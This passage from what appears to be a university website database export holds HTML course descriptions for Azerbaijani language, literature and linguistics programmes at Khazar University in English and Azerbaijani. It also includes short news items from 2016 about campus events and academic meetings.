1:</strong></p>\r\n<p><strong>&nbsp;Azerbaijani\r\nFolklore</strong></p>\r\n<p><strong>Prerequisite:\r\nNONE</strong></p>\r\n<div><strong><br></strong></div><p style=\"color:#000000\"><strong>AZLL\r\n109: History of Azerbaijani Literature 2:</strong></p>\r\n<p>Ancient\r\nand Medieval Literature&nbsp;</p><p><strong>Prerequisite: AZLL 107</strong></p><p style=\"color:#000000\"><strong><br></strong></p><p style=\"color:#000000\"><strong>AZLL\r\n207: History of Azerbaijani Literature 3:</strong></p><strong>\r\n</strong><p>Azerbaijani\r\nLiterature from 17<sup>th</sup>&nbsp;to mid-19<sup>th</sup>&nbsp;centuries&nbsp;</p>\r\n<p><strong>Prerequisite:\r\nAZLL 109</strong></p>\r\n<p style=\"color:#000000\"><strong><br></strong></p><p style=\"color:#000000\"><strong>AZLL\r\n208: History of Azerbaijani Literature 4:</strong></p><strong>\r\n</strong><p>Azerbaijani\r\nLiterature from mid-19<sup>th</sup>&nbsp;to early 20<sup>th</sup>&nbsp;centuries</p>\r\n<p><strong>Prerequisite:\r\nAZLL 207</strong></p>\r\n<p style=\"color:#000000\"><strong style=\"color:#000000\"><br></strong></p><p style=\"color:#000000\"><strong style=\"color:#000000\">AZLL\r\n307: History of Azerbaijani Literature 5:</strong></p>\r\n<p>20th&nbsp;century\r\nAzerbaijani Literature&nbsp;</p><p><strong>Prerequisite: AZLL 208</strong></p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n108: Modern Azerbaijani Language 2 – Morphology (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nAZLL 106</strong></p>\r\n<p>All important practical problems concerning morphology are\r\ncovered in the teaching of this subject. This curriculum analyzes the modern Azerbaijani\r\ngrammatical system, its originality and other features. The words are grouped\r\naccording to their meaning, form, function and rules of modification.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n205: Advanced Azerbaijani Literature (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nAZLL 105</strong></p>\r\n<p>This course aims at giving optimal knowledge on advanced\r\nAzerbaijani Literature. It covers the latest Azerbaijani Literature,\r\ndevelopment of journalistic genres, searches for new forms and contents in\r\nliterature. The course also includes written and oral compositions on the bases\r\nof classic and modern literary extracts.</p>\r\n<p><strong><br></strong></p><p><strong>A</strong><strong>ZLL\r\n206: Modern Azerbaijani Language 3 – Syntax (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nAZLL 108</strong></p>\r\n<p>It explains teaching of word combinations, syntactic relations,\r\nsentences, and their structural types. It also deals with punctuation marks and\r\ntheir proper use.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n306: History of Azerbaijani Literary Language (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nAZLL 206</strong></p>\r\n<p>This course explores the main sources of Azerbaijani language\r\nhistory and its origin, the rise of literary language, and problems extant in\r\ndevelopment periods. It also surveys the historical and cultural conditions of\r\nthe different periods. The role of outstanding personalities related to the\r\ndevelopmental history of Azerbaijan literary language is given in chronological\r\norder.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL 416:\r\nFundamentals of Literary Critics (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nConsent of instructor</strong></p>\r\n<p>Fundamentals of Literary Critics as a subject is composed of\r\nthree parts: Theory of Literature, History of Literature, and Literary\r\nCritique. This course mainly deals with issues covered in the Theory of\r\nLiterature. Features of literary works and principles of reflecting real-life\r\nevents, as well as the social importance and role of literary works are\r\nstudied. The course also covers such topics as principles of literary creativity\r\nand rules of their development, unity of content and form, characteristics of\r\ndifferent types and genres, structures of literary works, styles and methods,\r\netc.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n417: The Environment of Eastern Languages and Azerbaijani Literature (8\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nConsent of instructor</strong></p>\r\n<p>The main objective of this course is to study role of Arabic and\r\nPersian rules of writing and literature in the formation of Azerbaijani rules\r\nof writing and literature.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL 512:\r\nAzerbaijani Dialectology (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nConsent of instructor</strong></p>\r\n<p>Dialectology (dialects) and accents are constructed in this\r\nsection of linguistics. This course explains the phonetic, lexical,\r\nmorphological and syntactical properties of dialects and accents. It also\r\nprovides an extensive classification of Azerbaijani dialects and accents on the\r\nprinciples of geographical territory and investigates the theoretical issues of\r\ndialectology.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n513: Onomastics (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nConsent of instructor</strong></p>\r\n<p>The types of special names in language, their origin and use are\r\nelucidated in the course. It gives information about scientific classification\r\nand descriptions of all kinds of onomastic units.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n514: Textual Criticism (36 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nConsent of instructor</strong></p>\r\n<p>Complex investigation of the historical roots and development of\r\nways of textual criticism as a science, as well as modern textual criticism,\r\nits methods and principles are pursued in this course. The emergence and\r\ndevelopment of Azerbaijani textual criticism, Azerbaijani Middle Age manuscript\r\nbooks and booklets, scientific analyses of the manuscript text copies,\r\nexploration of text origins, attribution of the text (the determination of the\r\nauthor), research of text translations, text preparation for publications and\r\netc. are comprehensively enlightened.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n515: Azerbaijani Historical Grammar (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nConsent of instructor</strong></p>\r\n<p>This course provides general information about historical\r\ngrammar, discusses the developmental processes of separate parts of speech, investigates\r\nhistorical Azerbaijani&nbsp;phonetics and morphology, analyses the origin of\r\nthe language and historical development of its morphological features, and\r\nexplains and elucidates the establishment of the modern language.&nbsp;&nbsp; ­&nbsp;&nbsp;\r\n­</p>\r\n<p><strong><br></strong></p><p><strong>LING\r\n215: Introduction to Linguistics (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nConsent of instructor</strong></p>\r\n<p>This course gives basic knowledge of the historical background,\r\nformation, common features and diversities of the languages and language\r\nfamilies. The course focuses primarily on the methods and techniques of\r\nlinguistic analyses, including meaning, evaluation and changes of regional and\r\nsocial dialects. It discusses development of linguistic quality assessment\r\nmodels from the historical and theoretical angles.&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>LING\r\n216: Fundamentals of Linguistics (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nConsent of the instructor</strong></p>\r\n<p>This course explores general problems in the study of\r\nlinguistics. It illustrates the origin and development of linguistics, the\r\nworld languages and their classifications. It interprets the relations between\r\nlanguage and its writing, origin of writing,&nbsp;its peculiarities and periods\r\nof development.</p>\r\n<p><strong><br></strong></p><p><strong>LING\r\n310: Phonology (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nLING 216</strong></p>\r\n<p>It teaches the speech sounds and prosodic events (height,\r\nlength, and strength of tone) as a meaning distinguishing device (phoneme) of\r\nwords, morphemes and a system of phonemes of the language, and investigates\r\ntheir functional features.&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>LING\r\n420: Languages of the World (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nLING 215</strong></p>\r\n<p>Survey of language families of the world: classifying languages\r\ngenetically and typologically; historical relations among languages.</p><p>&nbsp;</p>\r\n<p><strong>LING\r\n421: Sociolinguistics (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nLING 215</strong></p>\r\n<p>Social determinants of linguistic diversity, variability, and\r\nchange; linguistic behavior and social control; methods of community-based\r\nlinguistics research.</p>\r\n<p><strong><br></strong></p><p><strong>LING\r\n422: Linguistic Analysis (8 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nLING 215</strong></p>\r\n<p>Techniques for analyzing phonological, morphological, and\r\nsyntactic data from a variety of languages; discovering, stating and justifying\r\ngeneralizations; comparison of diverse languages.</p>\r\n<p><strong><br></strong></p><p><strong>LING\r\n423: History of Linguistics (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nLING 215</strong></p>\r\n<p>Origins and history of the development of linguistics, various\r\ntheories of the development of linguistics.<strong>&nbsp;\r\n­</strong></p>\r\n<p><strong><br></strong></p><p><strong>LIT\r\n201: World Children Literature (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nAZLL 105</strong></p>\r\n<p>Provides knowledge and skill in critical analysis of the\r\npurposes and strategies for teaching and evaluation of children’s literature.\r\nSurvey of literature for children from early childhood through junior high\r\nschool.&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>LIT\r\n305-405: World Literature 1-3</strong></p>\r\n<p>This course covers study of pieces of literature created in\r\ndifferent countries of the world beginning from ancient times. The lives and\r\nactivities of leading figures in world literature and their most famous literary\r\nworks are studied in chronological order. The course is composed of three\r\nparts. Each part lasts one semester and has a value of&nbsp;3 credits:</p>\r\n<p><strong><br></strong></p><p><strong>LIT\r\n305: World Literature 1: Ancient and Medieval Eastern Literature; History of\r\nAntique Literature</strong></p>\r\n<p><strong>Prerequisite:\r\nConsent of the instructor</strong></p>\r\n<p><strong><br></strong></p><p><strong>LIT\r\n308: World Literature 2: European Literature during 13th-18th&nbsp;centuries</strong></p>\r\n<p><strong>Prerequisite:\r\nLIT 305</strong></p>\r\n<p><strong><br></strong></p><p><strong>LIT\r\n405: World Literature 3: European, American, and Russian Literature during\r\n19<sup>th</sup>-20<sup>th</sup>&nbsp;centuries</strong></p>\r\n<p><strong>Prerequisite:\r\nLIT 308&nbsp;</strong></p>\r\n<p><strong><br></strong></p><p><strong>LIT 505:\r\nModern Literary Process&nbsp;(6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nConsent of instructor</strong></p>\r\n<p>The main objective of this course is to understand development\r\ntrends in literature based on the analysis of literary works of recent years.\r\nThe course also covers issues like loyalty to literary traditions and relations\r\nbetween older and newer literary forces, reviews various pieces written in\r\ndifferent genres, and integration of Azerbaijani literature to world\r\nliterature.</p>\r\n<p><strong><br></strong></p><p><strong>LIT\r\n507: Literary Critique (History and Theory)&nbsp;(6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p><strong>Prerequisite:\r\nConsent of instructor</strong></p>\r\n<p>This course studies the importance of literature from the\r\nperspective of society: harmony between social life and literature is\r\nevaluated, and literary works are analyzed in terms of society’s interests and\r\ndemands. Literary critique contributes to enhancing the quality of literary\r\nworks and to the evaluation of literature. It also helps the readers in\r\nunderstanding literary works correctly.</p>'),(2225,1362,'az','Tələbə Məclisi birinci il tələbələri ilə görüş keçirdi','2016-cı il oktyabrın 1-də Xəzər Universiteti Tələbə Məclisi birinci il tələbələri ilə görüş təşkil etdi. 2016-2017-ci tədris ili üçün Tələbə Məclisinin prezidenti Qurban Əsgərov...','<p>2016-cı il oktyabrın 1-də Xəzər Universiteti Tələbə Məclisi birinci\r\nil tələbələri ilə görüş təşkil etdi. 2016-2017-ci tədris ili üçün Tələbə Məclisinin\r\nprezidenti Qurban Əsgərov və onun müavinləri 3 fakültəni təmsil edən 200-ə\r\nyaxın tələbə ilə görüşdə Tələbə Məclisinin hansı işləri gördüyü barədə\r\ndanışdılar. Sonra tədbirin təşkilatçıları tələbələrin çoxsaylı suallarına da\r\ncavab verdilər.</p>\r\n<p>Ən\r\nsonda, irad və təkliflərini bildirmək üçün birinci il tələbələrinə anketlər\r\npaylandı.</p>\r\n<p>İqtisadiyyat\r\nvə menecment fakültəsinin tələbələri üzrlü səbəbdən tədbirdə iştirak edə bilmədikləri\r\nüçün onlarla görüşün gələn həftə keçirilməsi nəzərdə tutulur.</p>'),(2226,1363,'az','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursu”nun yeni iştirakçıları ilə görüş keçirildi','2016-cı il sentyabrın 27-də Xəzər Universitetinin həyata keçirdiyi “Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursu” layihəsinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il sentyabrın\r\n27-də Xəzər Universitetinin həyata keçirdiyi “Potensial məktəb direktorlarına məktəbin\r\nidarə edilməsi üzrə təlim kursu” layihəsinin V qəbulunun iştrakçıları ilə layihə\r\nrəhbərlərinin görüşü keçirildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Görüşdə\r\niştrakçılara kurs haqqında ətraflı məlumat verildi və sualları\r\ncavablandırıldı.</p>'),(2227,1359,'en','Anti-Drug Use Event at Khazar','On September 29, 2016, a project entitled “Organizing events and producing videos about how to find rescue from the negative effects of drug use” was implemented...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nSeptember 29, 2016, a project entitled “Organizing events and producing videos\r\nabout how to find rescue from the negative effects of drug use” was implemented\r\nat Khazar University by the Journalists in Extreme Conditions Public Union with\r\nthe financial support of the President’s Board for State Support of NGOs of the\r\nAzerbaijan Republic. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The\r\ngoal of the project was to increase social awareness and public response to the\r\nfight against drug use, which is a global problem. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Students\r\nof the School of Humanities and Social Sciences as well as the School of\r\nEngineering and Applied Sciences actively participated in the event.&nbsp;</p>'),(2232,1364,'az','Azərbaycan və Avropa ali məktəbləri arasında NIZAMI layihəsinin ikinci görüşü İsveçdə keçirildi','2016-cı il sentyabrın 26-dan 28-dək Erasmus+ çərçivəsində həyata keçirilən NIZAMI layihəsi ilə bağlı ikinci görüş Azərbaycanın və Avropa Birliyinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il sentyabrın 26-dan 28-dək <em>Erasmus+</em> çərçivəsində həyata keçirilən\r\nNIZAMI layihəsi ilə bağlı ikinci görüş Azərbaycanın və Avropa Birliyinin\r\npartnyor universitetləri, eləcə də, Azərbaycan Respublikası Təhsil Nazirliyi\r\nnümayəndələrinin iştirakı ilə İsveçin Uppsala şəhərində baş tutdu. Xəzər Universiteti\r\ngörüşdə universtetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı, Biologiya elmləri departamentinin rəhbəri Dr. İradə\r\nXəlilova ilə təmsil olunurdu. Görüşə Uppsala Universiteti ev sahibliyi edirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Üç günlük görüş ərzində NIZAMI layihəsində tərəfdaş\r\nolan universitetlərin nümayəndələri təqdimatlarda iştirak edərək, layihənin\r\ngedişi barəsində müzakirələr apardılar.</p>\r\nUppsalada olanda Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Uppsala\r\nuniversitetinin prorektoru Eva Akesson, beynəlxalq ofisin məsul şəxsləri ilə\r\ngörüşdü. Görüşdə Xəzər Universiteti ilə Uppsala Universiteti arasında\r\nqarşılıqlı əməkdaşlıq ideyaları müzakirə olundu, müzakirələri davam etdirmək qərara\r\nalındı.'),(2228,1360,'en','Faculty Members of Department of Petroleum Engineering at International Conference','From September 26-29, 2016, the Annual Technical Conference and Exhibition Society of Petroleum Engineers was held in Dubai...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><span style=\"font-family:\'Times New Roman\', serif;font-size:12pt;text-align:justify;text-indent:0.25in\">From September 26-29, 2016, the Annual\r\nTechnical Conference and Exhibition Society of Petroleum Engineers was held in\r\nDubai, UAE. Faculty members of the Khazar University Department of Petroleum\r\nEnginee</span><span style=\"font-family:\'Times New Roman\', serif;font-size:12pt;text-align:justify;text-indent:0.25in;color:#1f497d;background:#ffffff\">ring</span><span style=\"font-family:\'Times New Roman\', serif;font-size:12pt;text-align:justify;text-indent:0.25in\">\r\nparticipated in the conference as representatives of SPE’s Azerbaijan branch\r\nincluding Associate Professor Gasham Zeynalov, Head of the Department and\r\nDirector of eiLink Research and Development Center, as well as Shariyar\r\nAlkhasli, Izat Shahsenov and Elshan Rzayev, instructors of the Department. The\r\nconference included technical lectures and exhibits by leading petroleum\r\ncompanies and cutting-edge universities about new technologies for exploitation\r\nand development of oil and gas fields. During the conference and exhibition,\r\nProfessor Zeynalov met with representatives from New Mexico Technical\r\nInstitute, the University of Aberdeen, King Abdullah University of Science\r\n&amp; Technology, and several companies to discuss partnership opportunities.&nbsp;</span></p>'),(492,322,'az','Fənlərin Təsviri','Fənlərin Təsviri','<p><strong>AZLL\r\n101: Azərbaycan dili (Universitet tələbləri)&nbsp;(6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:\r\nYoxdur</strong></p>\r\n<p>Bu fənn tələbələri Azərbaycan dilində olan elmi mətnlərin\r\nvə texniki materialların təhlilinə hazırlayır. Müxtəlif elmi sahələrdən\r\ngötürülmüş materiallar vasitəsi ilə tələbələrin oxumaq,&nbsp;yazmaq, dərk etmək\r\nqabiliyyətləri öyrənilir.</p>\r\n<p>Mədəniyyət, ətraf mühit, adət və ənənələr, tarix,\r\niqtisadiyyat və s. mövzular əhatə olunur.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n102.&nbsp;&nbsp;Yazıya giriş</strong></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 101</strong>.</p>\r\n<p>Yazı qaydası. Materialların yazılması, yenidən baxılması,\r\nredaktə olunmasının planlaşdırılması və təşkili.&nbsp;Mətnlərin xülasəsi, təhlili\r\nvə sintezi. Esse və yaradıcı yazı. Akademik və işgüzar yazışma.&nbsp;Nəsr\r\nüsulu.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n103:&nbsp;Əcnəbilər üçün Azərbaycan dili (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:\r\nYoxdur</strong></p>\r\n<p>Əsasən, oxu, yazma, dinləmə və danışıq kimi bacarıqların\r\ninkişafına diqqət verilir. Bu bacarıqları aşılamaq üçün salamlaşma, tanış olma,\r\ntəbrik və minnətdarlıq, bəyənmə, müraciətlər, tələblər, üzr istəmək, başsağlığı\r\nvə s. mövzular tədris olunur.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n104:&nbsp;Azərbaycan dili-2</strong></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 101</strong></p>\r\n<p>Bu kurs Azərbaycan dilində aşağıdakı sahələri əhatə edir.\r\nSemantik quruluş, onun mənasının daralması və genişlənməsi, Azərbaycan dilində\r\nsemantik qruplar. Qrammatika, onun əsas bölmələri və onlar arasında əlaqə,\r\nqrammatik kateqoriyalar. Sintaksis, söz birləşməsi və cümlə növləri,&nbsp;mətn\r\ndilçiliyi və onun problemləri, şeir sintaksisi, durğu işarələri və onların\r\nfunksiyaları.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n105:&nbsp;Azərbaycan ədəbiyyatı (Universitet tələbləri) (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;AZLL\r\n101</strong></p>\r\n<p>Bu fənn Azərbaycan ədəbiyyatının qədimdən müasir dövrədək\r\nbütün tarixi dövrlərini əhatə edir. Görkəmli Azərbaycan şair və yazıçılarının həyat\r\nvə yaradıcılığı, habelə onların konkret bədii əsərləri araşdırılır. Bu fənn həmçinin,\r\nədəbiyyat tarixi və nəzəriyyəsini, ədəbi tənqidin&nbsp; əsas məqsəd və vəzifələrini\r\nvə s. qısa olaraq əhatə edir. Bu kursun əsasını Azərbaycan ədəbiyyatının görkəmli\r\nxadimlərinin seçilmiş əsərlərinin öyrənilməsi və müzakirəsi təşkil edir.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n106:&nbsp;Müasir Azərbaycan dili 1 (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:\r\nYoxdur</strong></p>\r\n<p>Bu kurs səs sistemi, fonetik fenomen və Azərbaycan ədəbi\r\ndilinin qaydalarını əhatə edir. Tələffüz normaları, yazının formalaşması və\r\nnövü, əlifbanın xüsusiyyətləri, lüğət strukturu və onun zənginliyi, xüsusiyyətləri\r\nvə inkişaf yolları izah olunur. Azərbaycan dilinin orfoqrafiyası&nbsp;barədə məlumat\r\nverilir. Sözlərin xarakterik mənası, xüsusi adların növləri, mənşəyi və Azərbaycan\r\nədəbi dilində istifadəsi işıqlandırılır. Həmçinin lüğət və onun müxtəlif növləri,\r\nlüğət tərtibi və ədəbi dildə sözdüzəltmə yolları haqqında da&nbsp;məlumat\r\nverilir.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n107-307: Azərbaycan ədəbiyyatı tarixi 1-5</strong></p>\r\n<p>Bu fənn&nbsp;Azərbaycan ədəbiyyatının yaranması və təkamülünü\r\nerkən folklordan başlayaraq indiyə qədər xronoloji qaydada və inkişaf mərhələləri\r\nilə birgə öyrənir. Müxtəlif dövrlərdə yaşamış yazıçı və şairlərin həyat və\r\nyaradıcılığı öyrədilir, onların ədəbi fəaliyyəti tədqiq edilir, onların\r\ntoxunduqları milli və ümumbəşəri məsələlər&nbsp; təhlil edilir, digər yazıçı və\r\nşairlərin bir-birinə ədəbi təsiri müəyyən edilir və onların yaradıcılıq fəaliyyəti\r\nyaşadıqları tarixi dövrə uyğun sistemləşdirilir. Bu kurs 5 hissəyə bölünür. Hər\r\nbir hissə 1 semester davam edir&nbsp; və hər hissə 6 kreditdən ibarətdir. Həmin\r\nhissələr aşağıdakılardır.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n107: Azərbaycan ədəbiyyatı tarixi 1:</strong></p>\r\n<p><strong>Azərbaycan\r\nfolkloru</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;Yoxdur.</strong></p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n109: Azərbaycan ədəbiyyatı tarixi 2:</strong></p>\r\n<p><strong>Qədim və Orta əsrlər ədəbiyyatı tarixi</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;AZLL\r\n107</strong></p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n207: Azərbaycan ədəbiyyatı tarixi 3:</strong></p>\r\n<p><strong>17-ci\r\nəsrdən 19-cu əsrin ortalarınadək Azərbaycan ədəbiyyatı</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;AZLL\r\n109</strong></p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n208 Azərbaycan ədəbiyyatı tarixi 4:</strong></p>\r\n<p><strong>19-cu\r\nəsrin ortalarından 20-ci əsrin əvvəllərinədək Azərbaycan ədəbiyyatı</strong></p>\r\n<p><strong><br></strong></p><p><strong>Prerekvizit:&nbsp;AZLL\r\n207</strong></p>\r\n<p><strong>AZLL\r\n307: Azərbaycan ədəbiyyatı tarixi 5:</strong></p>\r\n<p><strong>20-ci\r\nəsr Azərbaycan ədəbiyyatı</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;AZLL\r\n208</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>AZLL\r\n108: Müasir Azərbaycan dili 2 – Morfologiya (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;AZLL\r\n106</strong></p>\r\n<p>Morfologiya ilə bağlı bütün mühüm praktiki məsələlər bu fənndə\r\nəhatə olunur.</p>\r\n<p>Bu kurikulum müasir Azərbaycan dilinin qrammatik\r\nsistemini, özünəməxsusluğunu və digər xüsusiyyətlərini təhlil edir. Sözlər\r\nonların mənası, forması, funksiyası və dəyişilmə qaydalarına görə\r\nqruplaşdırılır.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n205: Azərbaycan ədəbiyyatı-2 (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;AZLL\r\n105</strong></p>\r\n<p>Bu fənnin məqsədi Müasir Azərbaycan ədəbiyyatı üzrə geniş\r\nbilik verməkdir. Bu fənn son dövrlər Azərbaycan ədəbiyyatını, jurnalistika\r\njanrlarının inkişafını, ədəbiyyatda yeni forma və məzmunu araşdırır. Bu fənnin\r\ntədrisinə həmçinin müasir ədəbi əsərlərin oxudulması və təhlili daxildir.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n206: Müasir Azərbaycan dili 3 - Sintaksis (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;AZLL\r\n108</strong></p>\r\n<p>Bu fənndə söz birləşmələri, sintaktik əlaqələr, cümlələr\r\nvə onların struktur növləri, durğu işarələri və onların düzgün istifadəsi tədris\r\nedilir.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n306 Azərbaycan ədəbi dili tarixi (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;AZLL\r\n206</strong></p>\r\n<p>Bu fənn başlıca olaraq Azərbaycan dili tarixinin mənbələrini\r\nvə onun mənşəyini, ədəbi dilin inkişafını və bu inkişaf dövründən indiyədək\r\nqalan problemləri, müxtəlif dövrlərdə tarixi və mədəni şəraiti araşdırır. Azərbaycan\r\nədəbi dilinin inkişaf tarixi ilə bağlı görkəmli şəxsiyyətlərin rolu xronoloji\r\nardıcıllıqla verilir.&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n416: Ədəbiyyat&nbsp;nəzəriyyəsi&nbsp;(6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;müəllimin\r\nrazılığı</strong></p>\r\n<p>Bir elm sahəsi kimi ədəbiyyatşünaslığın əsasları üç hissədən\r\nibarətdir: Ədəbiyyat nəzəriyyəsi, ədəbiyyat tarixi və ədəbi tənqid. Bu dərs əsasən\r\nədəbiyyat nəzəriyyəsi məsələlərini əhatə edir. Real həyat hadisələrini əks\r\netdirən ədəbi əsərlərin xüsusiyyətləri, eləcə də ədəbi əsərlərin sosial əhəmiyyəti\r\nvə rolu tədqiq edilir. Bu fənn həmçinin ədəbi yaradıcılıq prinsipləri, inkişaf\r\nqanunları, məzmun və forma vəhdəti, müxtəlif növləri və janrları, ədəbi əsərlərin\r\nstrukturları, üslub və metodları və s.&nbsp;kimi mövzuları əhatə edir.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n417: Şərq dillərinin Azərbaycan Ədəbiyyatına təsiri (8 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;müəllimin\r\nrazılığı</strong></p>\r\n<p>Məlumdur ki, Azərbaycan ədəbiyyatının müəyyən hissəsi ərəb\r\nvə fars dillərində yaradılmış, ədəbiyyatımızın uzun bir dövrü ərəb-fars dilinin\r\ntəsiri altında formalaşmışdır. Bu kursun əsas məqsədi ədəbi əsərlərin və ədəbiyyatın\r\nformalaşmasına ərəb və fars dillərinin mərhələlər üzrə təsirini öyrənməkdir.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n512: Azərbaycan dialektologiyası (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;müəllimin\r\nrazılığı</strong></p>\r\n<p>Dialekt və şivələr dilçiliyin bu bölməsində öyrənilir.\r\nDialekt və şivələrin fonetik, leksik, morfoloji və sintaktik xüsusiyyətləri\r\nizah olunur. Coğrafi ərazi prinsipləri əsasında Azərbaycanın dialekt və şivələrinin\r\ngeniş təsnifatı verilir, həmçinin dialektologiyanın nəzəri məsələləri də&nbsp;araşdırılır.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n513: Onomastika (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;müəllimin\r\nrazılığı</strong></p>\r\n<p>Dildə xüsusi adların növləri, onların mənşəyi və istifadəsi\r\nöyrənilir. Onomastik vahidlərin elmi təsnifatı və&nbsp;təsviri barədə məlumat\r\nverilir.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n514: Mətnşünaslıq (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;müəllimin\r\nrazılığı</strong></p>\r\n<p>Bir elm kimi mətnşünaslığın tarixi köklərinin və inkişaf\r\nyollarının kompleks tədqiqi, həmçinin müasir mətnşünaslıq, onun metod və prinsipləri\r\nöyrənilir. Bu kursda həmçinin Azərbaycan mətnşünaslığının yaranması və\r\ninkişafı, orta əsrlərə aid Azərbaycanın əlyazma kitabları, əlyazma mətnlərinin\r\nelmi təhlili, mətnlərin mənşəyinin tədqiqi,&nbsp;mətnin müəllifinin müəyyən\r\nedilməsi, mətn tərcümələrinin tədqiqi, mətnlərin nəşrlər üçün hazırlanması, əsərlərin\r\nelmi-tənqidi mətnlərinin hazırlanmsı və s. kimi məsələlər əhatə olunur.</p>\r\n<p><strong><br></strong></p><p><strong>AZLL\r\n515 Azərbaycan dilinin tarixi qrammatikası (6 <strong>ECTS</strong>  